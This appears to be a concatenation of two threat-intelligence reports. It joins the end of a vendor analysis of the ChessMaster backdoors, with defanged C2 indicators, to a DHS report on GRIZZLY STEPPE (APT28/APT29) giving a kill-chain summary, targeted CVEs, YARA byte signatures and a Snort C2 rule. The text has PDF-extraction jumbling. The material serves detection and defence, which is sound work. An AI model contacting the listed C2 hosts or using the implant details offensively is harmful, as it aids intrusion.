+Further similarities between BKDR_ANEL and BKDR_CHCHES can be seen in special partial
+MD5 logic. Both malware only uses the middle 8 bytes from the regular MD5 result.
+BKDR_CHCHES will use it to encrypt the network traffic, while BKDR_ANEL uses it as a code
+branch in the malware encryption routine, although from our analysis, it does not look like it is
+currently in use.
+Mitigation
+To combat campaigns like ChessMaster, organizations need to make full use of the tools
+available to them. This includes everything from regularly updating their systems to the latest
+patches, which minimizes the impact of attacks that leverage vulnerabilities. In addition, the
+proper use of behavior monitoring, application control, email gateway monitoring, and
+intrusion/detection systems can help detect any suspicious activities that occur within the
+network. Finally, organizations need to cultivate a culture of security to educate users on what
+to look out for in terms of potential attacks, as end users are often the primary target of these
+kinds of campaigns.
+Organizations can also strengthen their security by employing solutions such as Trend
+Micro
+ Vulnerability Protection
+, which protects endpoints from threats that exploit
+vulnerabilities via a high-performance engine monitors traffic for new specific vulnerabilities
+that uses host-based intrusion prevention system (IPS) filters as well as zero-day attack
+monitoring.
+In addition, comprehensive security solutions can be used to protect organizations from
+attacks. These include Trend Micro endpoint solutions such as Trend Micro
+ Smart
+Protection Suites, and Worry-Free
+ Business Security, which can protect users and
+businesses from these threats by detecting malicious files, well as blocking all related
+malicious URLs. Trend Micro Deep Discovery
+ has an email inspection layer that can protect
+enterprises by detecting malicious attachment and URLs.
+Trend Micro OfficeScan
+ with XGen
+ endpoint security infuses high-fidelity machine learning
+with other detection technologies and global threat intelligence for comprehensive protection
+against all kinds of threats.
+Indicators of Compromise:
+Related hashes detected as BKDR_ANEL.ZKEI (SHA-256):
+af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd
+Command-and-control server:
+hxxp://62[.]75[.]197[.]131/page/?[random strings]
+URLs related to the campaign
+hxxp://89[.]18[.]27[.]159/img.db
+hxxp://89[.]18[.]27[.]159:8080/lK0RS
+hxxp://89[.]18[.]27[.]159/FA347FEiwq.jpg
+TLP:WHITE
+National Cybersecurity and
+Communications Integration Center
+AN AL Y S I S R E P O R T
+DISCLAIMER: This report is provided 
+as is
+ for informational purposes only. The Department of Homeland
+Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS
+does not endorse any commercial product or service referenced in this advisory or otherwise. This document is
+distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed
+without restriction. For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp.
+Reference Number: AR-17-20045
+February 10, 2017
+Enhanced Analysis of GRIZZLY STEPPE Activity
+Executive Summary
+The Department of Homeland Security (DHS) National Cybersecurity and Communications
+Integration Center (NCCIC) has collaborated with interagency partners and private-industry
+stakeholders to provide an Analytical Report (AR) with specific signatures and recommendations
+to detect and mitigate threats from GRIZZLY STEPPE actors.
+Contents
+Executive Summary ...................................................................................................................................... 1
+Recommended Reading about GRIZZLY STEPPE ..................................................................................... 2
+Utilizing Cyber Kill Chain for Analysis ....................................................................................................... 4
+Reconnaissance ......................................................................................................................................... 4
+Weaponization .......................................................................................................................................... 5
+Delivery .................................................................................................................................................... 5
+Exploitation ............................................................................................................................................... 5
+Installation................................................................................................................................................. 6
+Command and Control .............................................................................................................................. 6
+Actions on the Objective ........................................................................................................................... 6
+Detection and Response ................................................................................................................................ 7
+APPENDIX A: APT28 ................................................................................................................................. 8
+APPENDIX B: APT29 ............................................................................................................................... 42
+APPENDIX C: Mitigations Guidance ........................................................................................................ 50
+Defending Against Webshell Attacks ..................................................................................................... 50
+Defending Against Spear Phishing Attacks ............................................................................................ 52
+APPENDIX D: Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 ..................................... 55
+1 of 56
+1 of 56
+TLP:WHITE
+TLP:WHITE
+Recommended Reading about GRIZZLY STEPPE
+DHS recommends reading multiple bodies of work concerning GRIZZLY STEPPE. While DHS
+does not endorse any particular company or their findings, we believe the breadth of literature
+created by multiple sources enhances the overall understanding of the threat. DHS encourages
+analysts to review these resources to determine the level of threat posed to their local network
+environments.
+DHS Resources
+JAR-16-20296 provides technical details regarding the tools and infrastructure used by the
+Russian civilian and military intelligence Services (RIS) to compromise and exploit networks
+and endpoints associated with the U.S. election, as well as a range of U.S. Government, political,
+and private sector entities. JAR-16-20296 remains a useful resource for understanding APT28
+and APT29 use of the cyber kill chain and exploit targets. Additionally, JAR-16-20296 discusses
+some of the differences in activity between APT28 and APT29. This AR primarily focuses on
+APT28 and APT29 activity from 2015 through 2016.
+DHS Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 was updated January 27,
+2017 to provide additional analysis of the artifacts identified in JAR 16-20296. The artifacts
+analyzed in this report include 17 PHP files, 3 executables and 1 RTF file. The PHP files are web
+shells designed to provide a remote user an interface for various remote operations. The RTF file
+is a malicious document designed to install and execute a malicious executable. However, DHS
+recommends that analysts read the MIFR in full to develop a better understanding of how the
+GRIZZLY STEPPE malware executes on a system, which, in turn, downloads additional
+malware and attempts to extract cached passwords. The remaining two executables are Remote
+Access Tools (RATs) that collect host information, including digital certificates and private keys,
+and provide an actor with remote access to the infected system.
+Open Source
+Several cyber security and threat research firms have written extensively about GRIZZLY
+STEPPE. DHS encourages network defenders, threat analysts, and general audiences to review
+publicly available information to develop a better understanding of the tactics, techniques, and
+procedures (TTPs) of APT28 and APT29 and to potentially mitigate against GRIZZLY STEPPE
+activity.
+The below examples do not constitute an exhaustive list. The U.S. Government does not endorse
+or support any particular product or vendor.
+2 of 56
+2 of 56
+TLP:WHITE
+TLP:WHITE
+Source
+ESET
+En Route with Sednit version 1.0
+Group
+APT28/2
+APT28
+ESET
+Visiting The Bear Den
+APT28
+FireEye
+APT28
+F-Secure
+APT28: A Window Into Russia's Cyber Espionage Operations?
+HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat
+Group
+APT28: At the Center of the Storm - Russia strategically evolves its
+cyber operations
+BlackEnergy & Quedagh the convergence of crimeware and APT
+attacks, TLP: WHITE
+The Dukes 7 years of Russian cyberespionage
+F-Secure
+COSMICDUKE: Cosmu with a twist of MiniDuke
+APT29
+F-Secure
+OnionDuke: APT Attacks Via the Tor Network
+APT29
+F-Secure
+COZYDUKE
+APT29
+Kaspersky
+Sofacy APT hits high profile targets with updated toolset
+APT28
+Crysys
+Palo Alto
+Networks
+Palo Alto
+Networks
+Palo Alto
+Networks
+Palo Alto
+Networks
+Miniduke: Indicators
+APT29
+DealersChoice
+ is Sofacy
+s Flash Player Exploit Platform
+APT28
+Sofacy
+Komplex
+ OS X Trojan
+APT28
+The Dukes R&D Finds a New Anti-Analysis Technique - Palo Alto
+Networks Blog
+APT29
+Tracking MiniDionis: CozyCar
+s New Ride Is Related to Seaduke
+APT29
+APT28
+Securelist
+APT28: Sofacy? So-funny
+Cyber Threat Operations: Tactical Intelligence Bulletin - Sofacy
+Phishing
+The CozyDuke APT
+SecureWorks
+Threat Group-4127 Targets Hillary Clinton Presidential Campaign
+APT28
+ThreatConnect
+ThreatConnect and Fidelis Team Up to Explore the DCCC Breach
+APT28
+ThreatConnect
+ThreatConnect follows Guccifer 2.0 to Russian VPN Service
+ThreatConnect
+ThreatConnect Identifies Additional Infrastructure in DNC Breach
+ThreatConnect
+Belling the BEAR
+APT28
+APT28/2
+APT28
+ThreatConnect
+Can a BEAR Fit Down a Rabbit Hole?
+APT28
+Trend Micro
+APT28
+Trend Micro
+Operation Pawn Storm Using Decoys to Evade Detection
+Pawn Storm Ramps Up Spear-phishing Before Zero-Days Get
+Patches
+PowerDuke: Widespread Post-Election Spear Phishing Campaigns
+Targeting Think Tanks and NGOs
+Operation Pawn Storm: Fast Facts and the Latest Developments
+ATP 29
+ESET
+En Route with Sednit - Part 2: Observing the Comings and Goings
+ATP 28
+3 of 56
+TLP:WHITE
+Crowdstrike
+FireEye
+FireEye
+F-Secure
+Trend Micro
+Volexity
+3 of 56
+Title
+Bears in the Midst: Intrusion into the DNC
+APT29
+APT28
+APT28
+APT29
+APT28
+APT29
+APT28
+APT29
+TLP:WHITE
+Utilizing Cyber Kill Chain for Analysis
+DHS analysts leverage the Cyber Kill Chain model to analyze, discuss, and dissect malicious
+cyber activity. The phases of the Cyber Kill Chain are Reconnaissance, Weaponization,
+Delivery, Exploitation, Installation, Command and Control, and Actions on the Objective. This
+section will provide a high-level overview of GRIZZLY STEPPE activity within this framework.
+Reconnaissance
+GRIZZLY STEPPE actors use various reconnaissance methods to determine the best attack
+vector for compromising their targets. These methods include network vulnerability scanning,
+credential harvesting, and using 
+doppelganger
+ (also known as 
+typo-squatting
+) domains to
+target victim organizations. The doppelganger domains can be used for reconnaissance when
+users incorrectly type in the web address in a browser or as part of delivery as a URL in the body
+of a phishing emails. DHS recommends that network defenders review and monitor their
+networks for traffic to sites that look similar to their own domains. This can be an indicator of
+compromise that should trigger further research to determine whether a breach has occurred.
+Often, these doppelganger sites are registered to suspicious IP addresses. For example, a site
+pretending to be an organization
+s User Log In resolving to a TOR node IP address may be
+considered suspicious and should be researched by the organization
+s security operations center
+(SOC) for signs of users navigating to that site. Because these doppelganger sites normally
+mimic the targeted victim
+s domain, they were not included in JAR-16-20296.
+Before the 2016 U.S. election, DHS observed network scanning activity that is known as
+reconnaissance. The IPs identified performed vulnerability scans attempting to identify websites
+that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection
+attacks. When GRIZZLY STEPPE actors identify a vulnerable site, they can then attempt to
+exploit the identified vulnerabilities to gain access to the targeted network. Network perimeter
+scans are often a precursor to network attacks and DHS recommends that security analysts
+identify the types of scans carried out against their perimeters. This information can aid security
+analysts in identifying and patching vulnerabilities in their systems.
+Another common method used by GRIZZLY STEPPE is to host credential-harvesting pages as
+seen in Step 4 and Step 5 of the GRIZZLY STEPPE attack lifecycle graphic. This technique
+includes hosting a temporary website in publicly available infrastructure (i.e., neutral space) that
+users are directed to via spear-phishing emails. Users are tricked into entering their credentials in
+these temporary sites, and GRIZZLY STEPPE actors gain legitimate credentials for users on the
+targeted network.
+4 of 56
+4 of 56
+TLP:WHITE
+TLP:WHITE
+Weaponization
+GRIZZLY STEPPE actors have excelled at embedding malicious code into a number of file
+types as part of their weaponization efforts. In 2014, it was reported that GRIZZLY STEPPE
+actors were wrapping legitimate executable files with malware (named 
+OnionDuke
+) to
+increase the chance of bypassing security controls. Since weaponization actions occur within the
+adversary space, there is little that can be detected by security analysts during this phase. APT28
+and APT29 weaponization methods have included:
+Code injects in websites as watering hole attacks
+Malicious macros in Microsoft Office files
+Malicious Rich Text Format (RTF) files with embedded malicious flash code
+Delivery
+As described in JAR-16-20296 and numerous publicly available resources, GRIZZLY STEPPE
+actors traditionally use spear-phishing emails to deliver malicious attachments or URLs that lead
+to malicious payloads. DHS recommends that network defenders conduct analysis of their
+systems to identify potentially malicious emails involving variations on GRIZZLY STEPPE
+themes. Inbound emails subjects should be reviewed for the following commonly employed
+titles, text, and themes:
+efax, e-Fax, efax #100345 (random sequence of numbers)
+PDF, PFD, Secure PDF
+Topics from current events (e.g., 
+European Parliament statement on
+Fake Microsoft Outlook Web Access (OWA) log-in emails
+Invites for cyber threat events
+Additionally, GRIZZLY STEPPE actors have infected pirated software in torrent services and
+leveraged TOR exit nodes to deliver to malware since at least 2014. These actors are capable of
+compromising legitimate domains and services to host and deliver malware in an attempt to
+obscure their delivery methods. DHS notes that the majority of TOR traffic is not GRIZZLY
+STEPPE activity. The existence of a TOR IP in a network log only indicates that network
+administrators should review the related traffic to determine if it is legitimate activity for that
+specific environment.
+Exploitation
+GRIZZLY STEPPE actors have developed malware to exploit a number of Common
+Vulnerability and Exposures (CVEs). DHS assesses that these actors commonly target Microsoft
+Office exploits due to the high likelihood of having this software installed on the targeted hosts.
+5 of 56
+5 of 56
+TLP:WHITE
+TLP:WHITE
+While not all-encompassing, the following CVEs have been targeted by GRIZZLY STEPPE
+actors in past attacks.
+CVE-2016-7855: Adobe Flash Player Use-After-Free Vulnerability
+CVE-2016-7255: Microsoft Windows Elevation of Privilege Vulnerability
+CVE-2016-4117: Adobe Flash Player Remoted Attack Vulnerability
+CVE-2015-1641: Microsoft Office Memory Corruption Vulnerability
+CVE-2015-2424: Microsoft PowerPoint Memory Corruption Vulnerability
+CVE-2014-1761: Microsoft Office Denial of Service (Memory Corruption)
+CVE-2013-2729: Integer Overflow in Adobe Reader and Acrobat vulnerability
+CVE-2012-0158: ActiveX Corruption Vulnerability for Microsoft Office
+CVE-2010-3333: RTF Stack Buffer Overflow Vulnerability for Microsoft Office
+CVE-2009-3129: Microsoft Office Compatibility Pack for Remote Attacks
+Installation
+GRIZZLY STEPPE actors have leveraged several different types of implants in the past.
+Analysts can research these implants by reviewing open-source reporting on malware families
+including Sofacy, and Onion Duke. Recently, DHS analyzed 17 PHP files, 3 executables, and 1
+RTF file attributed to GRIZZLY STEPPE actors and the findings are located in MIFR10105049-Update2 (updated on 1/26/2017). The PHP files are web shells designed to provide a
+user interface for various remote operations. The RTF file is a malicious document designed to
+install and execute a malicious executable. DHS recommends that security analysts review their
+systems for unauthorized web shells.
+Command and Control
+GRIZZLY STEPPE actors leverage their installed malware through Command and Control (C2)
+infrastructure, which they traditionally develop via compromised sites and publicly available
+infrastructure, such as TOR. C2 IOCs are traditionally the IP addresses or domains that are
+leveraged to send and receive commands to and from malware implants.
+Actions on the Objective
+GRIZZLY STEPPE actors have leveraged their malware in multiple campaigns with various end
+goals. GRIZZLY STEPPE actors are capable of utilizing their malware to conduct extensive data
+exfiltration of sensitive files, emails, and user credentials. Security operation center (SOC)
+analysts may be able to detect actions on the objective before data exfiltration occurs by looking
+for signs of files and user credential movement within their network.
+6 of 56
+6 of 56
+TLP:WHITE
+TLP:WHITE
+Detection and Response
+The appendixes of this Analysis Report provide detailed host and network signatures to aid in
+detecting and mitigating GRIZZLY STEPPE activity. This information is broken out by actor
+and implant version whenever possible. MIFR-10105049 UPDATE2 provides additional YARA
+rules and IOCs associated with APT28 and APT29 actors.
+Contact Information
+Recipients of this report are encouraged to contribute any additional information that they may
+have related to this threat. For any questions related to this report, please contact NCCIC at:
+Phone: +1-703-235-8832
+Email: ncciccustomerservice@hq.dhs.gov
+Feedback
+DHS strives to make this report a valuable tool for our partners and welcome feedback on how
+this publication could be improved. You can help by answering a few short questions about this
+report at the following URL: https://www.us-cert.gov/forms/feedback
+7 of 56
+7 of 56
+TLP:WHITE
+TLP:WHITE
+APPENDIX A: APT28
+This section describes six implants associated with APT28 actors. Included are YARA rules as
+well as SNORT signatures. Despite the use of sound production rules, there is still the chance for
+false positives. In addition, these will complement additional analysis and should not be used as
+the sole source of attribution.
+The following YARA rules detect Downrage, referred to as IMPLANT 1 with rule naming
+convention. These rules will also detect X-AGENT/CHOPSTICK, which shares characteristics
+with DOWNRAGE.
+Rule IMPLANT_1_v1
+strings:
+$STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0 EB 02 33 F6 8B CE
+E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56 E8 ?? ?? FF FF 59}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_1_v2
+strings:
+$STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00 00 8B D8 59 85 DB 74
+38 8B 4E 04 83 F9 FF 7E 21 57 }
+$STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81 80 78 19 01 75 0D
+FF 70 10 FF [5] 85 C0 74 E3 }
+condition:
+(uint16(0) == 0x5A4D) and any of them
+8 of 56
+8 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_1_v3
+strings:
+$rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_1_v4
+strings:
+$XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ?? ?? ?? 32 04 0F 46
+88 01 3B 75 0C 7C E0 }
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_1_v5
+strings:
+$drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77 [5] 6A 69 [5] 6A 6E [5]
+6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
+$mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C 36 7A C7 45 ?? 73 71
+33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and any of them
+9 of 56
+9 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_1_v6
+strings:
+$XORopcodes_eax = { 35 (22 07 15 0e|56 d7 a7 0a) }
+$XORopcodes_others = { 81 (f1|f2|f3|f4|f5|f6|f7) (22 07 15 0e|56 d7 a7 0a) }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025) and any of them
+Rule IMPLANT_1_v7
+strings:
+$XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Network Indicators for Implant 1
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Downrage_HTTP_C2";
+flow:established,to_server; content:"POST"; http_method; content:"="; content:"=|20|HTTP/1.1";
+fast_pattern; distance:19; within:10; pcre:"/^\/(?:[a-zA-Z0-9]{2,6}\/){2,5}[a-zA-Z0-9]{1,7}\.[A-Za-z09\+\-\_\.]+\/\?[a-zA-Z0-9]{1,3}=[a-zA-Z0-9+\/]{19}=$/I";)
+The following YARA rules detect CORESHELL/SOURFACE, referred to as IMPLANT 2 with rule
+naming convention.
+IMPLANT 2 Rules:
+10 of 56
+10 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_2_v1
+strings:
+$STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v2
+strings:
+$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2]
+4? [1-2] 01}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v3
+strings:
+$STR1 = {c1eb078d??01321c??33d2}
+$STR2 = {2b??83??060f83??000000eb0233}
+$STR3 = {89????89????8955??8945??3b??0f83??0000008d????8d????fe}
+condition:
+(uint16(0) == 0x5A4D) and any of them
+11 of 56
+11 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_2_v4
+strings:
+$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33
+C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v5
+strings:
+$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15
+[2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v6
+strings:
+$STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F ?? [1-2] 00 01 00 00 7F ??
+[1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v7
+12 of 56
+12 of 56
+TLP:WHITE
+TLP:WHITE
+strings:
+$STR1 = {0a0fafd833d28d41fff775??
+8b450cc1eb078d7901321c0233d28bc7895de4bb06000000f7f38b450c8d59fe025dff321c028bc133d2b90
+6000000f7f18b450c8bcf221c028b45e48b55e008d41fe83f8068b45??72??8b4d??8b}
+$STR2 = {8d9b000000000fb65c0afe8d34028b45??
+03c20fafd88d7a018d42ff33d2f775??c1eb078bc7321c0a33d2b906000000f7f18a4d??
+8b450c80e902024d??320c028b45??33d2f775??
+8b450c220c028bd702d9301e8b4d0c8d42fe3b45e88b45??8955??72a05f5e5b8be55dc20800}
+condition:
+(uint16(0) == 0x5A4D) and any of them
+Rule IMPLANT_2_v8
+strings:
+$STR1 = {8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7??
+8bcaba03000000c1e902890c248d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24}
+$STR2 = {c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c??
+4002c7418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa46220c??
+418d48fef7e1c1ea028d045203c02bc88bc1}
+$STR3 = {41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c??
+4002c6418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa}
+$STR4 = {46220c??
+418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1}
+condition:
+(uint16(0) == 0x5A4D) and any of them
+13 of 56
+13 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_2_v9
+strings:
+$STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89 45 E8 8B FF 0F
+B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B
+45 F4 C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7
+F6 8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE 3B D7 72 A4 8B 45 E4
+8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8 0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10
+03 C0 2B F8 EB 09 33 C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02 C9
+8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F 02 89 55 E4 EB 09 8D 9B 00 00
+00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01 FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D
+41 FF F7 F7 8B 45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33 D2 88 45 0B
+8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45 E4 30 1C 01 8B 4D 0C }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_2_v10
+strings:
+$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2]
+4? [1-2] 01}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v11
+strings:
+14 of 56
+14 of 56
+TLP:WHITE
+TLP:WHITE
+$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33
+C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v12
+strings:
+$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15
+[2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v13
+strings:
+$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2]
+4? [1-2] 01}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Rule IMPLANT_2_v14
+strings:
+15 of 56
+15 of 56
+TLP:WHITE
+TLP:WHITE
+$STR1 =
+{8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7??8bcaba03000000c1e902890c248
+d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24 }
+$STR2 =
+{c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c??4002c7418d48ff4432c8b8abaaaaaaf7e
+1c1ea028d045203c02bc8b8abaaaaaa46220c??418d48fef7e1c1ea028d045203c02bc88bc1}
+$STR3 =
+{41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c??4002c6418d48ff4432c8b8abaaaaaaf7e1
+c1ea028d045203c02bc8b8abaaaaaa}
+$STR4 =
+{46220c??418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1}
+condition:
+(uint16(0) == 0x5A4D) and any of them
+Rule IMPLANT_2_v15
+strings:
+$XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
+$XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
+$XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_2_v16
+strings:
+16 of 56
+16 of 56
+TLP:WHITE
+TLP:WHITE
+$OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7 75 F8 8B 45
+0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02
+5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02
+C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and $OBF_FUNCT
+Rule IMPLANT_2_v17
+strings:
+$STR1 = { 24108b44241c894424148b4424246836 }
+$STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
+$STR3 = { e48178061591df75740433f6eb1a8b48 }
+$STR4 = { 33d2f775f88b45d402d903c641321c3a }
+$STR5 = { 006a0056ffd083f8ff74646a008d45f8 }
+condition:
+(uint16(0) == 0x5A4D) and 2 of them
+Rule IMPLANT_2_v18
+strings:
+$STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF 8B 5D EC 83 C2
+FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75
+F4 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D
+59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B
+55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45 F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0
+17 of 56
+17 of 56
+TLP:WHITE
+TLP:WHITE
+41 83 C6 06 89 4D F0 89 75 F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
+F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE 8D 14 08 8D 04 49 02 D2 03
+C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00
+00 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07
+8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45
+F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
